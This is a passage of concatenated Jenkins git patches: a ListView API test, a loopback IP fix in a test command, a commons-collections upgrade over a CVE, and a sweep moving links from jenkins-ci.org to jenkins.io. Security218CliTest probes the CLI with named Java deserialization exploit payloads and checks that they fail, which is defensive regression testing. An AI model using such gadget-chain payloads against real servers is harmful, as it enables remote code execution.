"UTF-8"); + + when(req.getMethod()).thenReturn("POST"); + when(req.getParameter("name")).thenReturn("job1"); + when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(configXml))); + when(req.getContentType()).thenReturn("application/xml"); + v.doCreateItem(req, rsp); + List items = v.getItems(); + assertEquals(1, items.size()); + assertEquals("job1", items.get(0).getName()); + } + private static class AllButViewsAuthorizationStrategy extends AuthorizationStrategy { @Override public ACL getRootACL() { return UNSECURED.getRootACL(); @@ -241,4 +275,29 @@ public class ListViewTest { } } + private static class Stream extends ServletInputStream { + private final InputStream inner; + + public Stream(final InputStream inner) { + this.inner = inner; + } + + @Override + public int read() throws IOException { + return inner.read(); + } + @Override + public boolean isFinished() { + throw new UnsupportedOperationException(); + } + @Override + public boolean isReady() { + throw new UnsupportedOperationException(); + } + @Override + public void setReadListener(ReadListener readListener) { + throw new UnsupportedOperationException(); + } + } + } diff --git a/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml b/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml new file mode 100644 index 0000000000..ff565b6b94 --- /dev/null +++ b/test/src/test/resources/hudson/model/ListViewTest/addJobUsingAPI/config.xml @@ -0,0 +1,16 @@ + + + + false + + + true + false + false + false + + false + + + + -- GitLab From 513d7e03c78a2893e30cae940ae1d00c4b35b962 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Thu, 23 Feb 2017 06:08:58 -0700 Subject: [PATCH 663/712] Fix ip address --- .../test/java/hudson/cli/AbstractBuildRangeCommand2Test.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java index 8d682801ce..bea2d8de8a 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java @@ -90,7 +90,7 @@ public class AbstractBuildRangeCommand2Test { @Test public void dummyRangeShouldSuccessEvenTheBuildIsRunning() throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo 1\r\nping -n 10 127.0.01 >nul") : new Shell("echo 1\nsleep 10s")); + project.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo 1\r\nping -n 10 127.0.0.1 >nul") : new Shell("echo 1\nsleep 10s")); assertThat("Job wasn't scheduled properly", project.scheduleBuild(0), equalTo(true)); // Wait until classProject is started (at least 1s) -- GitLab From 46d3f2e1d0bee7098e630d9c6913fe25bb2b3753 Mon Sep 17 00:00:00 2001 From: PJ Fanning Date: Sat, 25 Feb 2017 18:36:01 +0000 Subject: [PATCH 664/712] [JENKINS-31598] upgrade commons-collections due to CVE against v3.2.1 (#2761) * [JENKINS-31598] upgrade commons-collections due to CVE against v3.2.1 * Fix broken tests --- core/pom.xml | 2 +- .../test/java/jenkins/security/Security218CliTest.java | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index a41dc945f6..ccf1ef97e6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -491,7 +491,7 @@ THE SOFTWARE. commons-collections commons-collections - 3.2.1 + 3.2.2 org.jvnet.winp diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 9f6c385fe5..f9f39c4d46 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -57,7 +57,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeCommonsCollections1() throws Exception { - probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections1, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -73,7 +73,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeCommonsCollections3() throws Exception { - probe(Payload.CommonsCollections3, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections3, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -87,14 +87,14 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeCommonsCollections5() throws Exception { - probe(Payload.CommonsCollections5, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections5, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-317") public void probeCommonsCollections6() throws Exception { - probe(Payload.CommonsCollections6, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.CommonsCollections6, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) -- GitLab From 2a03dda885d834847db801d2a16a570cd10b7749 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 25 Feb 2017 19:56:01 +0100 Subject: [PATCH 665/712] Reference redirectors and jenkins.io as much as possible (#2756) * Reference redirectors and jenkins.io as much as possible * Something went wrong, so this is a troubleshooting URL * More specific redirect URLs --- CONTRIBUTING.md | 2 +- Jenkinsfile | 2 +- README.md | 2 -- .../main/resources/hudson/cli/client/Messages.properties | 2 +- .../resources/hudson/cli/client/Messages_bg.properties | 2 +- .../resources/hudson/cli/client/Messages_de.properties | 2 +- .../hudson/cli/client/Messages_pt_BR.properties | 2 +- .../hudson/cli/client/Messages_zh_TW.properties | 2 +- core/src/main/java/hudson/Functions.java | 2 +- core/src/main/java/hudson/Launcher.java | 2 +- core/src/main/java/hudson/Plugin.java | 4 ++-- core/src/main/java/hudson/Proc.java | 6 +++--- core/src/main/java/hudson/cli/CLICommand.java | 2 +- core/src/main/java/hudson/model/Descriptor.java | 4 ++-- core/src/main/java/hudson/model/FileParameterValue.java | 2 +- core/src/main/java/hudson/model/Queue.java | 4 ++-- core/src/main/java/hudson/model/Slave.java | 2 +- core/src/main/java/hudson/util/ArgumentListBuilder.java | 2 +- core/src/main/java/hudson/util/ProcessTree.java | 2 +- core/src/main/java/jenkins/model/RunIdMigrator.java | 2 +- .../java/jenkins/model/item_category/ItemCategory.java | 2 +- .../jenkins/slaves/restarter/WinswSlaveRestarter.java | 2 +- .../main/resources/hudson/AboutJenkins/index.properties | 2 +- .../resources/hudson/AboutJenkins/index_cs.properties | 2 +- .../resources/hudson/AboutJenkins/index_da.properties | 2 +- .../resources/hudson/AboutJenkins/index_de.properties | 2 +- .../resources/hudson/AboutJenkins/index_es.properties | 2 +- .../resources/hudson/AboutJenkins/index_fi.properties | 2 +- .../resources/hudson/AboutJenkins/index_fr.properties | 2 +- .../resources/hudson/AboutJenkins/index_hu.properties | 2 +- .../resources/hudson/AboutJenkins/index_it.properties | 2 +- .../resources/hudson/AboutJenkins/index_ja.properties | 2 +- .../resources/hudson/AboutJenkins/index_lt.properties | 2 +- .../resources/hudson/AboutJenkins/index_nb_NO.properties | 2 +- .../resources/hudson/AboutJenkins/index_pl.properties | 2 +- .../resources/hudson/AboutJenkins/index_pt_BR.properties | 2 +- .../resources/hudson/AboutJenkins/index_ru.properties | 2 +- .../resources/hudson/AboutJenkins/index_sr.properties | 2 +- .../resources/hudson/AboutJenkins/index_uk.properties | 2 +- .../resources/hudson/AboutJenkins/index_zh_CN.properties | 2 +- .../resources/hudson/AboutJenkins/index_zh_TW.properties | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost.html | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost_de.html | 2 +- .../hudson/ProxyConfiguration/help-noProxyHost_ja.html | 2 +- .../ProxyConfiguration/help-noProxyHost_zh_TW.html | 2 +- .../main/resources/hudson/cli/CLIAction/index.properties | 2 +- .../resources/hudson/cli/CLIAction/index_de.properties | 2 +- .../resources/hudson/cli/CLIAction/index_es.properties | 2 +- .../resources/hudson/cli/CLIAction/index_fr.properties | 2 +- .../resources/hudson/cli/CLIAction/index_it.properties | 2 +- .../resources/hudson/cli/CLIAction/index_ja.properties | 2 +- .../resources/hudson/cli/CLIAction/index_nl.properties | 2 +- .../hudson/cli/CLIAction/index_pt_BR.properties | 4 ++-- .../resources/hudson/cli/CLIAction/index_ru.properties | 2 +- .../resources/hudson/cli/CLIAction/index_sr.properties | 2 +- .../hudson/cli/CLIAction/index_zh_CN.properties | 2 +- .../hudson/cli/CLIAction/index_zh_TW.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_de.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_es.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_fr.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_ja.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_nl.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_pt.properties | 2 +- .../HudsonHomeDiskUsageMonitor/index_pt_BR.properties | 4 ++-- .../HudsonHomeDiskUsageMonitor/index_sr.properties | 4 +++- .../HudsonHomeDiskUsageMonitor/index_zh_TW.properties | 2 +- .../lifecycle/WindowsInstallerLink/_restart.properties | 2 +- .../WindowsInstallerLink/_restart_de.properties | 2 +- .../WindowsInstallerLink/_restart_es.properties | 2 +- .../WindowsInstallerLink/_restart_fr.properties | 2 +- .../WindowsInstallerLink/_restart_ja.properties | 2 +- .../WindowsInstallerLink/_restart_nl.properties | 2 +- .../WindowsInstallerLink/_restart_pt_BR.properties | 2 +- .../WindowsInstallerLink/_restart_sr.properties | 2 +- .../WindowsInstallerLink/_restart_zh_TW.properties | 2 +- .../hudson/logging/LogRecorderManager/index.jelly | 2 +- .../hudson/logging/LogRecorderManager/levels.properties | 2 +- .../logging/LogRecorderManager/levels_da.properties | 2 +- .../logging/LogRecorderManager/levels_de.properties | 2 +- .../logging/LogRecorderManager/levels_es.properties | 2 +- .../logging/LogRecorderManager/levels_fr.properties | 2 +- .../logging/LogRecorderManager/levels_it.properties | 2 +- .../logging/LogRecorderManager/levels_ja.properties | 2 +- .../logging/LogRecorderManager/levels_ko.properties | 2 +- .../logging/LogRecorderManager/levels_pt.properties | 2 +- .../logging/LogRecorderManager/levels_pt_BR.properties | 4 ++-- .../logging/LogRecorderManager/levels_ru.properties | 2 +- .../logging/LogRecorderManager/levels_sr.properties | 2 +- .../logging/LogRecorderManager/levels_zh_TW.properties | 2 +- .../model/AbstractProject/help-concurrentBuild.html | 2 +- .../model/AbstractProject/help-concurrentBuild_bg.html | 2 +- core/src/main/resources/hudson/model/Api/index.jelly | 2 +- core/src/main/resources/hudson/model/Messages.properties | 4 ++-- .../main/resources/hudson/model/Messages_bg.properties | 4 ++-- .../main/resources/hudson/model/Messages_de.properties | 4 ++-- .../main/resources/hudson/model/Messages_es.properties | 4 ++-- .../main/resources/hudson/model/Messages_fr.properties | 4 ++-- .../main/resources/hudson/model/Messages_it.properties | 4 ++-- .../main/resources/hudson/model/Messages_ja.properties | 4 ++-- .../main/resources/hudson/model/Messages_lt.properties | 4 ++-- .../resources/hudson/model/Messages_pt_BR.properties | 4 ++-- .../main/resources/hudson/model/Messages_sr.properties | 4 ++-- .../resources/hudson/model/Messages_zh_CN.properties | 4 ++-- .../resources/hudson/model/Messages_zh_TW.properties | 4 ++-- .../hudson/model/ParametersDefinitionProperty/help.html | 4 ++-- .../model/ParametersDefinitionProperty/help_de.html | 2 +- .../model/ParametersDefinitionProperty/help_fr.html | 2 +- .../model/ParametersDefinitionProperty/help_ja.html | 2 +- .../model/ParametersDefinitionProperty/help_tr.html | 2 +- .../model/ParametersDefinitionProperty/help_zh_TW.html | 2 +- .../HudsonPrivateSecurityRealm/help-allowsSignup.html | 2 +- .../HudsonPrivateSecurityRealm/help-allowsSignup_bg.html | 2 +- .../help-allowsSignup_zh_TW.html | 2 +- .../main/resources/hudson/tasks/Fingerprinter/help.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_de.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_fr.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_ja.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_pt_BR.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_ru.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_tr.html | 2 +- .../resources/hudson/tasks/Fingerprinter/help_zh_TW.html | 2 +- .../DescriptorImpl/enterCredential.properties | 2 +- .../DescriptorImpl/enterCredential_de.properties | 2 +- .../DescriptorImpl/enterCredential_es.properties | 4 ++-- .../DescriptorImpl/enterCredential_ja.properties | 2 +- .../DescriptorImpl/enterCredential_pt_BR.properties | 4 ++-- .../DescriptorImpl/enterCredential_sr.properties | 2 +- .../DescriptorImpl/enterCredential_zh_TW.properties | 2 +- .../main/resources/hudson/triggers/SCMTrigger/help.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_de.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_fr.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_ja.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_pt_BR.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_ru.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_tr.html | 2 +- .../resources/hudson/triggers/SCMTrigger/help_zh_TW.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_de.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_fr.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_ja.html | 2 +- .../hudson/triggers/TimerTrigger/help_pt_BR.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_ru.html | 2 +- .../resources/hudson/triggers/TimerTrigger/help_tr.html | 2 +- .../hudson/triggers/TimerTrigger/help_zh_TW.html | 2 +- .../resources/hudson/util/AWTProblem/index.properties | 2 +- .../resources/hudson/util/AWTProblem/index_sr.properties | 2 +- .../util/InsufficientPermissionDetected/index.properties | 2 +- .../InsufficientPermissionDetected/index_de.properties | 2 +- .../InsufficientPermissionDetected/index_es.properties | 2 +- .../InsufficientPermissionDetected/index_ja.properties | 2 +- .../index_pt_BR.properties | 2 +- .../InsufficientPermissionDetected/index_sr.properties | 2 +- .../index_zh_TW.properties | 2 +- .../hudson/util/JNADoublyLoaded/index.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_de.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_es.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_ja.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_pt_BR.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_sr.properties | 2 +- .../hudson/util/JNADoublyLoaded/index_zh_TW.properties | 2 +- .../resources/hudson/util/NoHomeDir/index.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_de.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_es.properties | 2 +- .../resources/hudson/util/NoHomeDir/index_ja.properties | 2 +- .../hudson/util/NoHomeDir/index_pt_BR.properties | 4 ++-- .../resources/hudson/util/NoHomeDir/index_sr.properties | 2 +- .../hudson/util/NoHomeDir/index_zh_TW.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index_ja.properties | 2 +- .../jenkins/diagnosis/HsErrPidList/index_lt.properties | 2 +- .../diagnosis/HsErrPidList/index_pt_BR.properties | 4 ++-- .../jenkins/diagnosis/HsErrPidList/index_sr.properties | 2 +- .../CompletedInitializationMonitor/message.jelly | 4 ++-- .../jenkins/install/pluginSetupWizard.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_fr.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_lt.properties | 4 ++-- .../jenkins/install/pluginSetupWizard_sr.properties | 4 ++-- .../resources/jenkins/model/Jenkins/_cli_ko.properties | 2 +- .../jenkins/model/Jenkins/_cli_sv_SE.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_bg.properties | 4 ++-- .../jenkins/model/Jenkins/fingerprintCheck_cs.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_da.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_de.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_el.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_es.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_fr.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_ja.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_lt.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_lv.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_nl.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_pl.properties | 2 +- .../model/Jenkins/fingerprintCheck_pt_BR.properties | 4 ++-- .../jenkins/model/Jenkins/fingerprintCheck_ru.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_sk.properties | 2 +- .../jenkins/model/Jenkins/fingerprintCheck_sr.properties | 2 +- .../model/Jenkins/fingerprintCheck_sv_SE.properties | 2 +- .../model/Jenkins/fingerprintCheck_zh_TW.properties | 2 +- core/src/main/resources/jenkins/model/Jenkins/oops.jelly | 6 +++--- .../main/resources/jenkins/model/Jenkins/oops.properties | 4 ++-- .../resources/jenkins/model/Jenkins/oops_bg.properties | 8 ++++---- .../resources/jenkins/model/Jenkins/oops_ja.properties | 4 ++-- .../resources/jenkins/model/Jenkins/oops_lt.properties | 4 ++-- .../jenkins/model/Jenkins/oops_pt_BR.properties | 8 ++++---- .../resources/jenkins/model/Jenkins/oops_sr.properties | 4 ++-- .../model/Jenkins/projectRelationship-help.properties | 2 +- .../model/Jenkins/projectRelationship-help_bg.properties | 4 ++-- .../model/Jenkins/projectRelationship-help_de.properties | 2 +- .../model/Jenkins/projectRelationship-help_es.properties | 2 +- .../model/Jenkins/projectRelationship-help_et.properties | 2 +- .../model/Jenkins/projectRelationship-help_fr.properties | 2 +- .../model/Jenkins/projectRelationship-help_ja.properties | 2 +- .../model/Jenkins/projectRelationship-help_lt.properties | 2 +- .../model/Jenkins/projectRelationship-help_nl.properties | 2 +- .../Jenkins/projectRelationship-help_pt_BR.properties | 2 +- .../model/Jenkins/projectRelationship-help_ru.properties | 2 +- .../model/Jenkins/projectRelationship-help_sr.properties | 2 +- .../model/Jenkins/projectRelationship-help_tr.properties | 2 +- .../Jenkins/projectRelationship-help_zh_TW.properties | 2 +- .../src/main/resources/jenkins/model/Messages.properties | 3 +-- .../main/resources/jenkins/model/Messages_bg.properties | 4 +--- .../main/resources/jenkins/model/Messages_de.properties | 3 +-- .../main/resources/jenkins/model/Messages_es.properties | 3 +-- .../main/resources/jenkins/model/Messages_fr.properties | 3 +-- .../main/resources/jenkins/model/Messages_ja.properties | 3 +-- .../main/resources/jenkins/model/Messages_sr.properties | 4 ++-- .../resources/jenkins/model/Messages_zh_TW.properties | 4 ++-- .../RunIdMigrator/UnmigrationInstruction/index.jelly | 4 ++-- .../jenkins/security/ApiTokenProperty/help-apiToken.html | 2 +- .../security/ApiTokenProperty/help-apiToken_ja.html | 2 +- .../security/ApiTokenProperty/help-apiToken_zh_TW.html | 2 +- .../security/RekeySecretAdminMonitor/message.properties | 4 ++-- .../RekeySecretAdminMonitor/message_sr.properties | 4 ++-- .../RekeySecretAdminMonitor/message_zh_TW.properties | 4 ++-- .../resources/jenkins/security/s2m/filepath-filter.conf | 2 +- core/src/main/resources/lib/hudson/queue.jelly | 2 +- core/src/main/resources/lib/layout/layout.properties | 2 +- core/src/main/resources/lib/layout/layout_bg.properties | 2 +- core/src/main/resources/lib/layout/layout_ja.properties | 2 +- .../main/resources/lib/layout/layout_pt_BR.properties | 4 ++-- core/src/main/resources/lib/layout/layout_sr.properties | 2 +- licenseCompleter.groovy | 2 +- pom.xml | 9 ++------- war/src/main/webapp/WEB-INF/ibm-web-bnd.xmi | 2 +- war/src/main/webapp/WEB-INF/sun-web.xml | 2 +- war/src/main/webapp/help/LogRecorder/logger.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_de.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_fr.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_ja.html | 2 +- war/src/main/webapp/help/LogRecorder/logger_zh_TW.html | 2 +- war/src/main/webapp/help/project-config/downstream.html | 4 ++-- war/src/main/webapp/scripts/hudson-behavior.js | 2 +- 253 files changed, 308 insertions(+), 320 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7a2d5e0c53..f99fe77067 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,3 +1,3 @@ # Contributing to Jenkins -For information on contributing to Jenkins, check out the https://wiki.jenkins-ci.org/display/JENKINS/Beginners+Guide+to+Contributing and https://wiki.jenkins-ci.org/display/JENKINS/Extend+Jenkins wiki pages over at the official https://wiki.jenkins-ci.org . They will help you get started with contributing to Jenkins. +For information on contributing to Jenkins, check out https://jenkins.io/redirect/contribute/. That page will help you get started with contributing to Jenkins. diff --git a/Jenkinsfile b/Jenkinsfile index 1a67c6c585..49c5635774 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -1,7 +1,7 @@ #!/usr/bin/env groovy /* - * This Jenkinsfile is intended to run on https://ci.jenkins-ci.org and may fail anywhere else. + * This Jenkinsfile is intended to run on https://ci.jenkins.io and may fail anywhere else. * It makes assumptions about plugins being installed, labels mapping to nodes that can build what is needed, etc. * * The required labels are "java" and "docker" - "java" would be any node that can run Java builds. It doesn't need diff --git a/README.md b/README.md index 501778372d..6dc6c47ece 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,4 @@ Jenkins is **licensed** under the **[MIT License]**. The terms of the license ar [GitHub]: https://github.com/jenkinsci/jenkins [website]: https://jenkins.io/ [@jenkinsci]: https://twitter.com/jenkinsci -[Contributing]: https://wiki.jenkins-ci.org/display/JENKINS/contributing -[Extend Jenkins]: https://wiki.jenkins-ci.org/display/JENKINS/Extend+Jenkins [wiki]: https://wiki.jenkins-ci.org diff --git a/cli/src/main/resources/hudson/cli/client/Messages.properties b/cli/src/main/resources/hudson/cli/client/Messages.properties index 699b4c4738..98dee46cdb 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages.properties @@ -3,7 +3,7 @@ CLI.Usage=Jenkins CLI\n\ Options:\n\ -s URL : the server URL (defaults to the JENKINS_URL env var)\n\ -i KEY : SSH private key file used for authentication\n\ - -p HOST:PORT : HTTP proxy host and port for HTTPS proxy tunneling. See http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : HTTP proxy host and port for HTTPS proxy tunneling. See https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : bypass HTTPS certificate check entirely. Use with caution\n\ -noKeyAuth : don't try to load the SSH authentication private key. Conflicts with -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_bg.properties b/cli/src/main/resources/hudson/cli/client/Messages_bg.properties index 187d7208d6..acd0191d5c 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_bg.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_bg.properties @@ -28,7 +28,7 @@ CLI.Usage=\ \u0441\u0440\u0435\u0434\u0430\u0442\u0430 \u201eJENKINS_URL\u201c)\n\ -i \u041a\u041b\u042e\u0427 : \u0447\u0430\u0441\u0442\u0435\u043d \u043a\u043b\u044e\u0447 \u0437\u0430 SSH \u0437\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\n\ -p \u0425\u041e\u0421\u0422:\u041f\u041e\u0420\u0422 : \u0445\u043e\u0441\u0442 \u0438 \u043f\u043e\u0440\u0442 \u0437\u0430 \u0441\u044a\u0440\u0432\u044a\u0440-\u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a \u043f\u043e HTTP \u0437\u0430 \u0442\u0443\u043d\u0435\u043b \u043f\u043e HTTPS.\n\ - \u0417\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f: http://jenkins-ci.org/https-proxy-tunnel\n\ + \u0417\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f: https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0437\u0430 HTTPS (\u0412\u041d\u0418\u041c\u0410\u041d\u0418\u0415!)\n\ -noKeyAuth : \u0431\u0435\u0437 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441 \u0447\u0430\u0441\u0442\u0435\u043d \u043a\u043b\u044e\u0447 \u0437\u0430 SSH, \u043e\u043f\u0446\u0438\u044f\u0442\u0430 \u0435\n\ \u043d\u0435\u0441\u044a\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430 \u0441 \u043e\u043f\u0446\u0438\u044f\u0442\u0430 \u201e-i\u201c\n\n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_de.properties b/cli/src/main/resources/hudson/cli/client/Messages_de.properties index 55769d64de..1fb09d2cb4 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_de.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_de.properties @@ -4,7 +4,7 @@ CLI.Usage=Jenkins Kommandozeilenschnittstelle (Jenkins CLI)\n\ Optionen:\n\ -s URL : URL des Hudson-Servers (Wert der Umgebungsvariable JENKINS_URL ist der Vorgabewert)\n\ -i KEY : Datei mit privatem SSH-Schl\u00fcssel zur Authentisierung\n\ - -p HOST\:PORT : HTTP-Proxy-Host und -Port f\u00fcr HTTPS-Proxy-Tunnel. Siehe http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST\:PORT : HTTP-Proxy-Host und -Port f\u00fcr HTTPS-Proxy-Tunnel. Siehe https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u00dcberspringt die Zertifikatspr\u00fcfung bei HTTPS. Bitte mit Vorsicht einsetzen.\n\ -noKeyAuth : \u00dcberspringt die Authentifizierung mit einem privaten SSH-Schl\u00fcssel. Nicht kombinierbar mit -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties b/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties index 61e1895c4d..779e88f1a6 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties @@ -26,7 +26,7 @@ CLI.Usage=Jenkins CLI\n\ Op\u00e7\u00f5es:\n\ -s URL : a URL do servidor (por padr\u00e3o a vari\u00e1vel de ambiente JENKINS_URL \u00e9 usada)\n\ -i KEY : arquivo contendo a chave SSH privada usada para autentica\u00e7\u00e3o\n\ - -p HOST:PORT : host e porta do proxy HTTP para tunelamento de proxy HTTPS. Veja http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : host e porta do proxy HTTP para tunelamento de proxy HTTPS. Veja https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : ignora completamente a valida\u00e7\u00e3o dos certificados HTTPS. Use com cautela\n\ -noKeyAuth : n\u00e3o tenta carregar a chave privada para autentica\u00e7\u00e3o SSH. Conflita com -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties b/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties index af303db034..4a90686244 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties @@ -28,7 +28,7 @@ CLI.Usage=Jenkins CLI\n\ \u9078\u9805:\n\ -s URL : \u4f3a\u670d\u5668 URL (\u9810\u8a2d\u503c\u70ba JENKINS_URL \u74b0\u5883\u8b8a\u6578)\n\ -i KEY : \u9a57\u8b49\u7528\u7684 SSH \u79c1\u9470\u6a94\n\ - -p HOST:PORT : \u5efa HTTPS Proxy Tunnel \u7684 HTTP \u4ee3\u7406\u4f3a\u670d\u5668\u4e3b\u6a5f\u53ca\u9023\u63a5\u57e0\u3002\u8acb\u53c3\u8003 http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : \u5efa HTTPS Proxy Tunnel \u7684 HTTP \u4ee3\u7406\u4f3a\u670d\u5668\u4e3b\u6a5f\u53ca\u9023\u63a5\u57e0\u3002\u8acb\u53c3\u8003 https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u5b8c\u5168\u7565\u904e HTTPS \u6191\u8b49\u6aa2\u67e5\u3002\u8acb\u5c0f\u5fc3\u4f7f\u7528\n\ \n\ \u53ef\u7528\u7684\u6307\u4ee4\u53d6\u6c7a\u65bc\u4f3a\u670d\u5668\u3002\u57f7\u884c 'help' \u6307\u4ee4\u53ef\u4ee5\u67e5\u770b\u5b8c\u6574\u6e05\u55ae\u3002 diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 8a6e1a9d06..9ff620a894 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -858,7 +858,7 @@ public class Functions { if(footerURL == null) { footerURL = SystemProperties.getString("hudson.footerURL"); if(StringUtils.isBlank(footerURL)) { - footerURL = "http://jenkins-ci.org/"; + footerURL = "https://jenkins.io/"; } } return footerURL; diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 